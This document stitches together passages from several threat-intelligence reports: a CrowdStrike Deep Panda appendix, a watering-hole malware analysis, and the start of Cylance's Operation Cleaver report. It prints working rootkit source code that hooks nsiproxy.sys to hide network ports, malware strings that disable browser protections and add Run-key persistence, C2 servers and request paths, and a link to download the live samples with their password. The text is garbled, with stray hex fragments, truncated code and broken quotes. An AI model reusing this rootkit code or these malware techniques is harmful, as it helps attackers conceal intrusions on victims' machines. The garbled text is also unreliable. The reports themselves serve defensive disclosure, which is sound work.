for +an unknown reason, however it is suspected that this may relate to the potential network relaying capability +alluded to for the backdoor dll. +System Driver +The kernel driver component dropped by the Backdoor DLL bears many tool marks associating it with the +CCRootkit package publicly by Steven Lai (a/k/a embedlinux). This kernel mode rootkit implements several +hooking techniques that are aimed at preventing a system administrator from detecting the backdoor DLL. +The implementation of these techniques has some unique idiosyncrasies that permit direct attribution to the +source code Steven Lai posted. This driver attempts to hide a wide swath of TCP ports (40000-45000) for +an unknown reason, however it is suspected that this may relate to the potential network relaying capability +alluded to for the backdoor dll. + CROWDSTRIKE S E N S I T I VE 26 + DEEP PANDA + APPENDIX +Appendix A: Command Line Options for Post Exploitation Tool Sample (MD5: +2dce7fc3f52a692d8a84a0c182519133 + iu - impersonate user, iu represents a username and expects the following additional arguments. + id -domain + ip -password + f - perform command based on value. Possible values listed below + sh - Connect to C2. + x - hostname, connect to http address to download + y - port + u - username + w - password + l - set up listener + s - hostname + p - port + v - display communication protocol version + dl + url - url to download from. + ul + url - url to upload to. + cl + as to hide the tampering. + p - target path + m + tu + date of 11-30-2005:12:00:00 with the UTC offset of the system applied. + p - target path + m + r + d + t + wmi - perform Windows Management Instrumentation (WMI) command + s - machine + u - username + p - password + m - can be one of the following 3 items + CROWDSTRIKE S E N S I T I VE 27 + DEEP PANDA +Appendix B: Algorithm for computing machine ID + char ch = + foreach(char ch2 in Environment.MachineName) + ch = (char)(ch ^ ch2); + byte num3 = (byte)ch; + return (GetVolumeSerial() ^ (uint)(((num3 + (num3 * 0x100)) + (num3 * + 0x10000)) + + (num3 * 0x1000000))); +Appendix C: Remote Commands Supported by .NET Backdoor Post Exploita- +tion Tool Sample +public class RcDataCommand + public byte channelHint; + public RcDataCommandId cmdID; + public RcDataCommandType cmdType; + public string extraInfo; + public string string_0; +Implemented values for cmdID are as follows: + CROWDSTRIKE S E N S I T I VE 28 + DEEP PANDA +cmdType can be one of the following (Interesting commands explained in detail): + CROWDSTRIKE S E N S I T I VE 29 + DEEP PANDA + string_0 can have one of the following values dependant upon command id and type. +Appendix D: Raw bytes of example Authentication packet. + 03 01 74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 +Appendix E: Initialization of KEY and IV for AES + for (int i = 0; i < 0x20; ++i ) + { for (int i = 0; i < 0x20; ++i ) + { + buffer[i] = (byte)((i + 8) + ((byte)password[num++])); + buffer[i] = (byte)(buffer[i] ^ 170); + num = num % password.Length; + CROWDSTRIKE S E N S I T I VE 30 + DEEP PANDA +Appendix F: Command & Control Servers +C2 Server Port Geolocation Whois Samples Used In +1.9.5.38 443 Bukit inetnum: 1.9.0.0 - 47619fca20895abc83807321cbb80a3d + 1.9.255.255 + Mertajam, netname: + Maylasia TMNET-AS-AP + descr: Tmnet, + Telekom Malaysia + Bhd. + descr: Telekom + Malaysia Berhad + descr: 44th + Floor, Global Data + Marketing, TM Global + descr: Jalan + Pantai Baharu + country: MY + admin-c: TA35- + AP + tech-c: TA35-AP + mnt-by: AP- + NIC-HM + mnt-lower: TM- + NET-AP + mnt-routes: TM- + NET-AP + status: ALLO- + CATED PORTABLE + remarks: -+-+-+- + +-+-+-+-+-+-+-+-++-+- + +-+-+-+-+-+-+-+-+-+- + +-+-+ + remarks: This + object can only be + updated by APNIC + hostmasters. + remarks: To + update this object, + please contact APNIC + remarks: host- + masters and include + your organisation + account + remarks: name in + the subject line. + remarks: -+-+-+- + +-+-+-+-+-+-+-+-++-+- + +-+-+-+-+-+-+-+-+-+- + +-+-+ + changed: hm- + changed@apnic.net + 20100610 + source: APNIC + CROWDSTRIKE S E N S I T I VE 31 + DEEP PANDA +C2 Server Port Geolocation Whois Samples Used In +202.86.190.3 80 Hong Kong inetnum: 2dce7fc3f52a692d8a84a0c182519133 + 202.86.190.0 - + 202.86.191.255 de7500fc1065a081180841f32f06a537 + netname: Tele- + One-HK + country: HK + descr: Te- + leOne(HK) Limited + admin-c: HL13 + tech-c: AC612-AP + status: AS- + SIGNED NON-POR- + TABLE + changed: an- + gus@edu.ctm.net + 20041122 + mnt-by: MAINT- + CTM-MO + source: APNIC +Appendix G: Edward Sun +s kernel network hook code + : [ ]NSI Module Hook : Hiding Port Under Windows Vista [ ] + : eviloctal : 2007-7-8 20:53 : [ ]NSI Module +Hook : Hiding Port Under Windows Vista + http://rootkit.com/newsread_print.php?newsid=735 + (www.eviloctal.com) +cardmagic writes: Windows Vista has changed alot on network module, many old +port hiding materials are no longer usable. +In this post, I will share with you a simple code to hide port under Vista,hope +it is useful for some guys . +Actually under Windows Vista, netstat.exe will call InternalGetTcpTable2 which +is exported by Iphlpapi.dll to list all open ports,then InternalGetTcpTable2 +will transfer control to NsiAllocateAndGetTable which is exported by nsi.dll, +kernel mode module of NSI -- nsiproxy.sys. nsiproxy.sys is almost like a +wrapper of netio.sys, it will then call internal subroutines of netio.sys . +Here ,we will use a relatively easy way -- +NSI Kernel Module Dispatch Routine +is an old topic, this time ,we will apply this method to nsiproxy.sys. Please +Check the following code(Notice: I only tested it under Windows Vista RTM +32bit): + CROWDSTRIKE S E N S I T I VE 32 + DEEP PANDA + : +/////////////////////////////////////////////////////////////////////////////// +//////// +// Filename: PortHidDemo_Vista.c +// Author: CardMagic(Edward) +// Email: [email]sunmy1@sina.com[/email] +// Description: +// A Demostration Of Hiding +// Tested Under Windows Vista Kernel Version 6000 MP (1 procs) Free x86 com- +patible +#include +stdlib.h +#include +ntifs.h +unsigned short htons(unsigned short hostshort); +unsigned long inet_addr(const char *name); +typedef unsigned long DWORD; +PDRIVER_DISPATCH orgNsiDeviceIoControl = 0; +DWORD gLocalPort=0,gLocalIp=0; +typedef struct _HP_CONTEXT + PIO_COMPLETION_ROUTINE oldIocomplete; + PVOID oldCtx; + BOOLEAN bShouldInvolve; + PKPROCESS pcb; +}HP_CONTEXT,*PHP_CONTEXT; + CROWDSTRIKE S E N S I T I VE 33 + DEEP PANDA +}INTERNAL_TCP_TABLE_SUBENTRY,*PINTERNAL_TCP_TABLE_SUBENTRY; +typedef struct _INTERNAL_TCP_TABLE_ENTRY + INTERNAL_TCP_TABLE_SUBENTRY localEntry; + INTERNAL_TCP_TABLE_SUBENTRY remoteEntry; +}INTERNAL_TCP_TABLE_ENTRY,*PINTERNAL_TCP_TABLE_ENTRY; +typedef struct _NSI_STATUS_ENTRY +}NSI_STATUS_ENTRY,*PNSI_STATUS_ENTRY; +typedef struct _NSI_PARAM + // + // Total 3CH size + // + DWORD UnknownParam1; + DWORD UnknownParam2; + DWORD UnknownParam3; + DWORD UnknownParam4; + DWORD UnknownParam5; + DWORD UnknownParam6; + PVOID lpMem; + DWORD UnknownParam8; + DWORD UnknownParam9; + DWORD UnknownParam10; + PNSI_STATUS_ENTRY lpStatus; + DWORD UnknownParam12; + DWORD UnknownParam13; + DWORD UnknownParam14; + DWORD TcpConnCount; +}NSI_PARAM,*PNSI_PARAM; +unsigned short htons(unsigned short a) + unsigned short b = a; + b = ( b << 8 ); + a = ( a >> 8 ); + return ( a | b ); + CROWDSTRIKE S E N S I T I VE 34 + DEEP PANDA +unsigned long inet_addrt(const char* name) + int len = strlen(name); + unsigned long temp_val[4]; + char namesec[10] ; + { + memset(namesec,0,10); + if('.' == name[i]) + { + if(p) + strncpy(namesec,name+p+1,i-p); + else + strncpy(namesec,name,i); + p = i; + } + } + strncpy(namesec,name+p+1,i-p); + return (temp_val[0]|(temp_val[1]<<8)|(temp_val[2]<<16)|(temp_val[3]<<24)); +NTSTATUS +HPCompletion( + IN PIRP Irp, + IN PVOID Context + ) + PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(Irp); + PIO_STACK_LOCATION irpspNext = IoGetNextIrpStackLocation(Irp); + PHP_CONTEXT pCtx = Context; + PNSI_PARAM nsiParam; + int i; + if(NT_SUCCESS(Irp->IoStatus.Status)) + { + CROWDSTRIKE S E N S I T I VE 35 + DEEP PANDA +nsiParam = Irp->UserBuffer; + if(MmIsAddressValid(nsiParam->lpMem)) + { + // + // netstat will involve internal calls which will use + // nsiParam structure + // + if( (nsiParam->UnknownParam8 == 0x38)) + { + KAPC_STATE apcstate; + PNSI_STATUS_ENTRY pStatusEntry = (PNSI_STATUS_ENTRY)nsiParam->lpStatus; + PINTERNAL_TCP_TABLE_ENTRY pTcpEntry = (PINTERNAL_TCP_TABLE_ENTRY)nsi- +Param->lpMem; + int nItemCnt = nsiParam->TcpConnCount; + KeStackAttachProcess(pCtx->pcb,&apcstate); + // + //make sure we are in the context of original process + // + for(i = 0;i < nItemCnt;i ++) + { + if((pTcpEntry[i].localEntry.dwIP == gLocalIp)&&(pTcpEntry[i].localEn- +try.Port == gLocalPort)) + { + // + //NSI will map status array entry to tcp table array entry + //we must modify both synchronously + // + RtlCopyMemory(&pTcpEntry[i],&pTcpEntry[i+1],sizeof(INTERNAL_TCP_TA- +BLE_ENTRY)*(nItemCnt-i)); + RtlCopyMemory(&pStatusEntry[i],&pStatusEntry[i+1],sizeof(NSI_STA- +TUS_ENTRY)*(nItemCnt-i)); + nItemCnt--; + nsiParam->TcpConnCount --; + i--; + } + } + KeUnstackDetachProcess(&apcstate); + } + } + CROWDSTRIKE S E N S I T I VE 36 + DEEP PANDA +irpspNext->Context = pCtx->oldCtx; + irpspNext->CompletionRoutine = pCtx->oldIocomplete; + // + //free the fake context + // + ExFreePool(Context); + if(pCtx->bShouldInvolve) + else + { + if (Irp->PendingReturned) { + IoMarkIrpPending(Irp); + } + return STATUS_SUCCESS; + } +NTSTATUS + IN ULONG Attributes, + IN PACCESS_STATE AccessState OPTIONAL, + IN ACCESS_MASK DesiredAccess OPTIONAL, + IN KPROCESSOR_MODE AccessMode, + IN OUT PVOID ParseContext OPTIONAL, + ); + LARGE_INTEGER waittime; + waittime.QuadPart = -50*1000*1000; + - +gNsiDeviceIoControl); + //delay loading driver to make it more secure + // + CROWDSTRIKE S E N S I T I VE 37 + DEEP PANDA +KeDelayExecutionThread(KernelMode,0,&waittime); + return STATUS_SUCCESS; +NTSTATUS HPDummyDeviceIoControl( + IN PIRP Irp + ) + ULONG ioControlCode; + PIO_STACK_LOCATION irpStack; + ULONG status; + irpStack = IoGetCurrentIrpStackLocation(Irp); + ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode; + if(IOCTL_NSI_GETALLPARAM == ioControlCode) + if(irpStack->Parameters.DeviceIoControl.InputBufferLength == sizeof(NSI_ +PARAM)) + { + // + //only care the related I/O + // + PHP_CONTEXT ctx = (HP_CONTEXT*)ExAllocatePool(NonPagedPool,sizeof(HP_CON- +TEXT)); + ctx->oldIocomplete = irpStack->CompletionRoutine; + ctx->oldCtx = irpStack->Context; + irpStack->CompletionRoutine = HPCompletion; + irpStack->Context = ctx; + ctx->pcb = IoGetCurrentProcess(); + if((irpStack->Control&SL_INVOKE_ON_SUCCESS) ==SL_INVOKE_ON_SUCCESS) + ctx->bShouldInvolve = TRUE; + else + ctx->bShouldInvolve = FALSE; + irpStack->Control |= SL_INVOKE_ON_SUCCESS; + } + } + CROWDSTRIKE S E N S I T I VE 38 + DEEP PANDA + //call original I/O control routine + // + return status; +NTSTATUS DriverEntry( + IN PUNICODE_STRING RegistryPath + ) + int i; + NTSTATUS status; + UNICODE_STRING uniNsiDrvName; +#if DBG + _asm int 3 //debug +#endif + RtlInitUnicodeString(&uniNsiDrvName,L +\\Driver\\nsiproxy + - + if(!NT_SUCCESS(status)) + { + return STATUS_SUCCESS; + } + // + //store the original dispatch function of NSI driver + // + gLocalIp = inet_addrt(LOCALHIDEIP); + gLocalPort = htons(LOCALHIDEPORT); + CROWDSTRIKE S E N S I T I VE 39 + DEEP PANDA + // + //hook NSI dispatch routine + // + - +myDeviceIoControl); + return STATUS_SUCCESS; + CROWDSTRIKE S E N S I T I VE 40 + DEEP PANDA +Appendix H: Command and Control MD5 Correlation + MD5 Command and Control Server + 47619fca20895abc83807321cbb80a3d 1.9.5.38:443 + 2dce7fc3f52a692d8a84a0c182519133 202.86.190.3:80 + de7500fc1065a081180841f32f06a537 202.86.190.3:80 + CROWDSTRIKE S E N S I T I VE 41 +Aided Frame, Aided Direction (Because it +s a redirect) +Introduction: +On September 24 2014, FireEye observed a new strategic web compromise (SWC) campaign that we +believe is targeting non-profit organizations and non-governmental organizations (NGO) by hosting +iframes on legitimate websites. The compromised websites contained an iframe to direct site visitors to a +threat actor-controlled IP address that dropped a Poison Ivy remote access tool (RAT) onto victims +systems. FireEye has not yet attributed this activity though we have identified links to the Sunshop Digital +Quartermaster, a collective of malware authors that supports multiple China-based advanced persistent +threat (APT) groups. FireEye previously established detection measures for this threat activity, ensuring +our clients were prepared for these intrusion attempts well in advance of threat actor implementation. +Activity Overview: +On September 24, FireEye observed SWCs, likely conducted by a unitary threat group based on shared +infrastructure and tools, on at least three different websites: an international non-profit organization that +focuses on environmental advocacy, and two different NGOs that promote democracy and human rights. +The group was able to compromise these websites and insert malicious iframes. Figure 1 displays one of +the iframes. The threat group obfuscated the iframe on two of the compromised websites. +

+Figure 1: The iframe that directed website visitors to a threat actor-controlled IP address +The iframes on these websites directed visitors to Java exploits hosted at 103.27.108.45. In turn, these +exploits downloaded and decoded a payload hosted at: hxxp://103.27.108.45/img/js.php. A GET request +to this URI returned the following content: + +setSecurityManager +There are some other obfuscation techniques, but they are not important here. Instead, the following +deobfuscated code line in the function init() gives us an idea where the actual payload is located: +Resp localResp = new Resp(csfn("234p34a55445c43654k632434234235")); -> pack +We can also see, that the java package contains a file named pack, so we open 7-Zip and unpack the file. A +quick view with a PE viewer showed, that it is a x86 PE executable not even encrypted (SHA256: +b832e4b5a4829c8df6de7b42c5cb32ef25b5ab59072b4c2a7838404cd0dd5e5f): + Figure 2: Payload inside Java package + Figure 3: Payload inside PE viewer +So, I opened IDA Pro to take a quick look at the functionality. Together with the strings of the executable, +we get a brief idea of what the purpose of this malware is. The important strings are as follows: +SELECT * FROM AntiVirusProduct +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v PrivDiscUiShown /t +REG_DWORD /d 1 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DEPOff /t REG_DWORD /d 1 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableFirstRunCustomize /t +REG_DWORD /d 2 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" + reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon /t +REG_DWORD /d 3 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v Enabled /t REG_DWORD /d +1 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v +WarnOnPostRedirect /t REG_DWORD /d 0 /f +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v +WarnonZoneCrossing /t REG_DWORD /d 0 /f +reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v AutoRecover /t REG_DWORD /d +2 /f +reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v Completed /t REG_BINARY /d 1 +\cmd.exe +Together with the output of IDA Pro, we can see that this malware uses the command line tool cmd.exe for +adding several registry keys to Internet Explorer. It also tries to retrieve possible AntiVirus information by +using the COM interface (dc12a687-737f-11cf-884d-00aa004b2e24 -> IWbemLocator -> SELECT * +FROM AntiVirusProduct). Furthermore, it makes use of the COM to launch an instance of Internet +Explorer (d30c1661-cdaf-11d0-8a3e-00c04fc9e26e -> IWebBrowser2), supposedly to contact its C&C +server. To verify this, we open up Wireshark and run the executable. As a result, we get the following +network information: +C&C server: defense.miraclecz.com (IP: 208.115.124.83) +HTTP GET request: /index.asp?id=50100 +Also, we see that it downloads some kind of data (Base64 encoded). But first, we combine the C&C server +and the HTTP request and open the URL in our favorite Browser: + Figure 4: Base64 encoded (2nd) Payload +URL: defense.miraclecz.com/index.asp?id=50100 +As you can see, there is a string named microsoft followed by Base64 encoded data. Side note: Is there +also a Linux equivalent? +Next, we copy the Base64 encoded data and go to the following website to let us decode it into a file +(because I had the feeling it's just another unencrypted executable): +http://www.motobit.com/util/base64-decoder-encoder.asp +As a result, we get another executable (SHA256: +a4863f44f48d1c4c050dd7baad767a86b348dd4d33924acf4e0a3cd40c6ae29f) that was only Base64 +encoded and not encrypted in any way: + Figure 5: Downloaded Payload +So again, we fire up our PE viewer and take a look at the important strings: +http://buy.miraclecz.com +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DEPOff /t REG_DWORD /d 1 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableFirstRunCustomize /t +REG_DWORD /d 2 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon /t +REG_DWORD /d 3 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v Enabled /t REG_DWORD /d +1 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v +WarnOnPostRedirect /t REG_DWORD /d 0 /f +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v +WarnonZoneCrossing /t REG_DWORD /d 0 /f +reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v AutoRecover /t REG_DWORD /d +2 /f +reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v Completed /t REG_BINARY /d 1 +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v spoolsv.exe /t REG_SZ /d +%%temp%%\spoolsv.exe /f +spoolsv.exe +Software\Microsoft\Windows\CurrentVersion\Run +open file fail +cmd timeout error %d +Run cmd error %d +cmd.exe /c %s>%s +%s%d.txt +open file error +%temp% + %s%s.ini +myWObject +\cmd.exe +!DOCTYPE html +%s/?id1=blank%d&id2=%d%d +%s/?id1=%d%d +Again, we load the executable into IDA Pro and quickly fly over the assembly code to get an idea of the +functionality. Once again, it creates several registry entries with the help of the command line tool and +creates an instance of the Internet Explorer (CoCreateInstance() -> d30c1661-cdaf-11d0-8a3e- +00c04fc9e26e) for contacting the C&C server. This time, the network information is as follows: +C&C server: buy.miraclecz.com (IP: 74.121.191.33) +URL parameters (from strings of executable): +%s/?id1=blank%d&id2=%d%d +%s/?id1=%d%d +From the code we can see, that the sample has also the ability to encode/decode data from/to Base64. The +dynamic analysis showed the malware sample contacted the C&C server, but wasn't sending any URL +parameters (id1, id2). Also the server didn't respond... +The files can be downloaded here: +https://www.dropbox.com/s/ckr7p5kka62cc7s/Embassy%20of%20Greece%20-%20Beijing.zip +Password: "infected" (without "") +That's it, have a nice weekend... + 6f20476f6f64 + 44 + 20 + c + c2 + c2 b204576696 + 6f20476 f64 + 44 + 20 + 6c + 6e + 04576696 + 9 + 86 + 546 + 6b2 + 86 + 546 + #OPCLEAVER + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + +Iran should be considered a first-tier cyber power. + Gabi Siboni + Israel Institute for National Security Studies cybersecurity expert + +Iran has rapidly gained near parity with the Chinese but + may be closer to the Russians in terms of swagger. + Retired Admiral William J. Fallon + Former Commander CENTCOM +Global critical infrastructure organizations need to take this + threat seriously. The Iranian adversary is real and they + coming, if not already here. + Mark Weatherford + Former Deputy Under Secretary for Cybersecurity at the US Department of Homeland Security + +Yes, China and one or two others + can shut down our power grids. + Admiral Michael Rogers + Director of the National Security Agency and head of US Cyber Command + +The world has combated cyber threats by doing the same + thing over and over again +s the definition of insanity. + Jeff Moss + Co-Chair DHS Community Resiliency Task Force, Founder of DEFCON and BlackHat + Jalal ad-Din Muhammad Rumi + 13th Century Persian poet, jurist, theologian and Sufi mystic + English translation: +Silence gives answers. + #OPCLEAVER + PREVENTION IS EVERYTHING + A personal note from Cylance, CEO Stuart McClure + n February 24, 1989, United Flight 811 left Honolulu, Hawaii, on its way to Auckland, New Zealand, with + 364 souls on board. Somewhere between 23,000 and 24,000 feet an enormous explosion ejected nine + passengers into the dark void over the Pacific Ocean.1 This aviation disaster was later determined to have + been caused by a simple design flaw combined with the lack of corrective action. Boeing and the FAA had + known about this problem for over one year prior to the accident. The result: nine people lost their lives. The other 337 + passengers plus 18 crew members who survived, live with the memory every day; all of it due to a highly preventable + design flaw. As a 19-year-old young adult, I was grateful to have survived but I had no idea how that single event would + impact my future in such a profound way. Much of my passion for cybersecurity can be directly attributed to that + fateful day. + The United Flight 811 accident proves just how important it is to detect flaws before tragedy strikes. Preventable + 6 f20476 f64 + disasters like this are what motivates the Cylance team to create a safer world. We do everything we can to uncover + 4 4 + the flaws in technologies before they damage the physical or cyber world. Our mission is simple: to protect the world. + This report is an attempt to deliver on that mission. + 20 and professionally for more than 26 years, there is no doubt in my mind + After tracking hackers both personally + c + that the release of the information contained in the Operation Cleaver report is vital to the security of the world + c2 + critical infrastructure. + 04576696 + The focus of the Operation Cleaver report is on one particular Iranian team we +ve dubbed Tarh Andishan, the + infrastructure they utilize, as well as their tactics, techniques and procedures. Roughly translated, +Tarh Andishan + means +thinkers + or +innovators +. This team displays an evolved skillset and uses a complex infrastructure to perform + attacks of espionage, theft, and the potential destruction of control systems and networks. While our investigation is + ongoing, and we presently have limited visibility inside many of the compromised networks, Cylance observed Tarh + Andishan actively targeting, attacking, and compromising more than 50 victims since at least 2012. + Cylance is committed to responsible disclosure and has refrained from exaggeration and embellishment in this + 2 + report, limiting our content to only that which can be definitively confirmed. However, we have speculated on the + b + possible motivations behind these attacks, given our deep knowledge and understanding of the cyber landscape. + 6 + We have made every effort to notify all affected entities prior to publishing this report. Additionally, all personally + 6e + identifiable information about the members of Operation Cleaver has been withheld. We don +t care who the adversary + 9 + is, where they work or reside, who they +re dating or what party photos they upload to Facebook + all we care about is + 6 + preventing campaigns like Operation Cleaver from negatively affecting the real world. + 8 + 546 + This report is for the world +s cyber defenders + never give up! + Sincerely, + Stuart McClure + CEO/President + Cylance, Inc. + 3 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + TABLE OF CONTENTS + Executive Summary ......................................................................... 5 + Background ........................................................................................ 6 + Why the name +Cleaver +? ............................................................. 8 + Why Expose Iran Now? .................................................................. 8 + Critical Discoveries ......................................................................... 9 + Targets & Victims ............................................................................ 12 + Attribution ......................................................................................... 17 + + Attacker IP Addresses .............................................................. 18 + + Attacker Domains ...................................................................... 19 + + Tools & Software ........................................................................ 20 + + Tarh Andishan ............................................................................ 24 + +Members ...................................................................................... 26 + +Teams ............................................................................................ 30 + Tactics, Techniques & Procedures (TTPs) ............................... 31 + + Initial Compromise ..................................................................... 32 + + Privilege Escalation & Pivoting ............................................... 36 + +Exfiltration .................................................................................... 41 + +Persistence .................................................................................. 47 + Mitigation .......................................................................................... 60 + Speculation: The Why ................................................................... 62 + Conclusion ........................................................................................ 65 + References ........................................................................................ 67 + About Cylance ................................................................................. 68 + Cylance Products ........................................................................... 69 + Cylance Services ............................................................................ 70 + Acknowledgments ...................................................................... 71 + The Operation Cleaver Logo ...................................................... 72 + Appendix A: Indicators of Compromise (IOC) ........................ 73 + #OPCLEAVER + EXECUTIVE SUMMARY + Since at least 2012, Iranian actors have directly attacked, + established persistence in, and extracted highly sensitive + materials from the networks of government agencies and major + critical infrastructure companies in the following countries: + Canada, China, England, France, Germany, India, Israel, + Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South Korea, + Turkey, United Arab Emirates, and the United States. + 6 f20476 f64 + Iran is the new China. 44 + 20 the past several years, conducted a significant global surveillance + Operation Cleaver has, over + c + and infiltration campaign. To date it has successfully evaded detection by existing security + c2 + technologies. The group is believed to work from Tehran, Iran, although auxiliary team + 04576696 + members were identified in other locations including the Netherlands, Canada, and the UK. + The group successfully leveraged both publicly available, and customized tools to attack and + compromise targets around the globe. The targets include military, oil and gas, energy and + utilities, transportation, airlines, airports, hospitals, telecommunications, technology, education, + aerospace, Defense Industrial Base (DIB), chemical companies, and governments. + During intense intelligence gathering over the last 24 months, we observed the technical + 2 + capabilities of the Operation Cleaver team rapidly evolve faster than any previously observed + 6b + Iranian effort. As Iran +s cyber warfare capabilities continue to morph,2 the probability of an attack + e + that could impact the physical world at a national or global level is rapidly increasing.3 Their + 6 + capabilities have advanced beyond simple website defacements, Distributed Denial of Service + 9 + (DDoS) attacks, and Hacking Exposed style techniques. + 86 + 546 + With minimal separation between private companies and the Iranian government, their modus + operandi seems clear: blur the line between legitimate engineering companies and state- + sponsored cyber hacking teams to establish a foothold in the world +s critical infrastructure. + Iran +s rising expertise, along with their choice of victims, has compelled us to release this report + sooner than we would have liked in order to expose Operation Cleaver to the world. The + evidence and indicators of compromise we provide in this report will allow potentially unaware + victims to detect and eliminate Cleaver +s incursions into their networks. + 5 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +BACKGROUND +Iran has been severely impacted by debilitating and extremely +advanced malware campaigns since at least 2009. Famous +examples of these efforts include industrial sabotage via +Stuxnet (2009 - 2010), and espionage with Duqu (2009 - 2011) +as well as Flame (2012). These campaigns have targeted Iran +nuclear program, and oil and gas operations. Stuxnet was an +eye-opening event for Iranian authorities, exposing them to the +world of physical destruction via electronic means. +Hacking campaigns sourced out of Iran are nothing new. Since the early 2000 +s, the information +security industry as a whole has tracked teams like the Iranian Cyber Army, which mainly focuses +on patriotic hacking (website defacements). After the release of Stuxnet, Iran +s motivations appear +to have shifted. Retaliation for Stuxnet began almost immediately in 2011 with campaigns like the +certificate compromises of Comodo and DigiNotar. These attacks served as a warning, showcasing +the rapid evolution of Iran +s hacking skills. +A major retaliation came in the form of 2012 +s Shamoon campaign, which impacted RasGas and +Saudi Aramco. It +s estimated that Shamoon impacted over 30,000 computer endpoints and cost +the affected companies tens-of-thousands of hours recovering from the attacks. The direct financial +impact from this retaliation and amount of downtime experienced were staggering. Shamoon was +truly a watershed event for security defenders. It was the first glimpse into the real capabillity and +intention of Iranian cyber operations. We see the same motivation and intent here in Operation +Cleaver: establishing a beachhead for cyber sabotage. +We saw further Iranian backlash in late 2012 and early 2013 in the form of Operation Ababil +Distributed Denial of Service (DDoS) attacks against US banks. These attacks were debilitating and +impacted the availability of online banking services. Yet more backlash was witnessed with FireEye +exposure of Operation Saffron Rose, an espionage campaign executed by the Ajax Security Team +in 2014. In May 2014, evidence emerged of a highly targeted waterhole attack that leveraged social +media, dubbed Operation Newscaster, which was uncovered by iSight Partners. +In June 2013, Israeli Prime Minister Benjamin Netanyahu accused Iran of carrying out +non-stop +attacks on +[Israel +s] vital national systems + including +water, power and banking +4. The following +September of 2013, the Wall Street Journal accused Iran of hacking into unclassified U.S. Navy +computers in San Diego +s NMCI (Navy Marine Corp Intranet),5 which we can confirm was part of +Operation Cleaver. + #OPCLEAVER + While previously reported operations attributed to Iran have largely focused on Defense Industrial + Base (DIB) companies, the United States Federal Government, or targets in Middle Eastern countries, + Operation Cleaver has instead focused on a wide array of targets, including energy producers + and utilities, commercial airlines and airports, military intelligence, aerospace, hospitals, and + even universities + with only ten of the targets based in the United States. Such broad targeting + demonstrates to the world that Iran is no longer content to retaliate against the US and Israel alone. + They have bigger intentions: to position themselves to impact critical infrastructure globally. + ORIGINATION RETALIATION + 2010 + f20476 f64 + StUXNEt + 6 + 4 4 2011 + 20 + c + duqu + c2 + ~ + 04576696 + DigiNotar + 2012 + FL ME + SHAM N + GAUSS + 2 + OPERATION + b + Ababil + e6 + 2013 + 6 + NMC + NMC + NMCI + CII + 9 + NAVY MARINE CORPS INTRANET + 86 + 2014 + 546 + Saffr n Rose + NEWSCASTER + 476f6f64 + 6f20 + 44 + 20 + 2c + b204576696c + e6 + 96 + 86 + 546 + Figure 1: The sequence of major Iran-centric attacks; either as victims (left) or attackers (right). + 7 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + WHY THE NAME CLEAVER? + The string cleaver is found several times in a variety of custom software used in Operation + Cleaver, including: + 1 Numerous references inside the namespaces of their custom bot code + codenamed TinyZBot, e.g.: +e:\projects\cleaver\trunk\zhoupin_cleaver\obj\x86\release\netscp.pdb + 2 PDBs associated with the hacker name +Jimbp +, e.g.: + c:\users\jimbp\desktop\binder_1 - for cleaver\binder_1\obj\x86\release\setup.pdb + 3 PDBs associated with the keystroke loggers, artifacts, and numerous other tools, e.g.: +e:\Projects\Cleaver\trunk\MainModule\obj\Release\MainModule.pdb + WHY EXPOSE IRAN NOW? + We believe our visibility into this campaign represents only a fraction of Operation Cleaver +s full + scope. We believe that if the operation is left to continue unabated, it is only a matter of time + before the world +s physical safety is impacted by it. While the disclosure of this information will + be a detriment to our ability to track the activity of this group, it will allow the security industry as + a whole to defend against this threat. As such, we are exposing this cyber campaign early in an + attempt to minimize additional real-world impact and prevent further victimization. + CRITICAL DISCOVERIES + 6f20476f6f64 + 44 + 20 + c + c2 + b204576696 + 6e6 + 9 + 86 + 546 + #OPCLEAVER + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + CRITICAL DISCOVERIES + Iranian Actors Are Behind Operation Cleaver + Persian hacker names are used throughout the campaign including: Salman Ghazikhani, + Bahman Mohebbi, Kaj, Parviz, Alireza, and numerous others. + Numerous domains used in the campaign were registered in Iran. + 